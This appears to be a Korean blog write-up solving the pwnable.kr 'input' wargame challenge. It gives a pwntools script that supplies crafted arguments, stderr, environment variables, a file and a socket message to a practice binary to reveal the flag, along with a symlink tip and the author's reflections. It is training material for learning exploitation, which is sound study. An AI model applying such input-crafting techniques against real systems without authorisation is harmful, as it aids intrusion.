0. 근황
Holly Shit... 가족초청행사 + 휴가 + 외할아버지 팔순잔치 + 계단에서 미끄러져서 왼손다침 콤보로 인해 많이 지체됨...ㅠㅠ
1. slv.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
|
from pwn import *
# Stage 1
argvs = [str(i) for i in range(0,100)]
argvs[ord('A')] = '\x00'
argvs[ord('B')] = '\x20\x0a\x0d'
argvs[ord('C')] = '8889'
# Stage 2
with open('./stderr', 'a') as f:
f.write('\x00\x0a\x02\xff')
# Stage 3
enVal = {"\xde\xad\xbe\xef" : "\xca\xfe\xba\xbe"}
# Stage 4
with open('./\x0a', 'a') as f:
f.write('\x00\x00\x00\x00')
p = process(executable = '/home/input2/input', argv=argvs, stderr = open('./stderr'), env = enVal)
# Stage 2
p.send('\x00\x0a\x00\xff')
# Stage 5
r = remote('localhost', int(argvs[ord('C')]))
r.send('\xde\xad\xbe\xef')
# IO_Sink
sleep(0.1)
print p.recv()
http://colorscripter.com/info#e" target="_blank" style="color:#4f4f4ftext-decoration:none">Colored by Color Scripter
|
2. 주의사항
Pwnable.kr 서버에 접속해서 문제를 풀 때 /tmp에 자신의 폴더를 만들고 폴더안에 slv.py를 만들어서 진행하는데 마지막에 system("/bin/cat flag")부분이 실행되지 않는 경우가 보일 텐데 자신의 폴더안에 flag 파일이 없어서 출력이 안되는 현상이다. 따라서 ln -s /home/input2/flag ./flag를 통해서 심볼릭 링크를 걸어주고 실행하면 flag를 얻을 수 있다.
[깨달은 점]
1. Pwntools의 기능은 많다.
솔직히 argv를 넣는 기능이 있을 것이라고 예상은 했지만 stderr를 설정하거나 환경변수를 설정하는 것 까지 있을 줄은 몰랐다. 잘 활용하자.
2. Port 번호 오류(?)
한 번 실행하고 난 port를 다시 열려고 할 때 port가 사용중이라고 에러가 뜨는 것 같다.... 왜지..?
3. IO_Sink
30번줄에 sleep(0.1)은 IO_Sink가 맞질 않아서 flag값이 출력이 안되는 현상이 보여서 넣어주었다. print p.recv() 대신에 p.interactive()를 사용하면 sleep(0.1)을 사용하지 않아도 됨.
+++
WriteUp을 봐버렸다.. ㅠㅠ
'System > pwnable.kr' 카테고리의 다른 글
[Pwnable.kr] - uaf - 190912 (0) | 2019.09.12 |
---|---|
[Pwnable.kr] - leg - 190711 (0) | 2019.07.11 |
[Pwnable.kr] - fix - 190622 (0) | 2019.06.22 |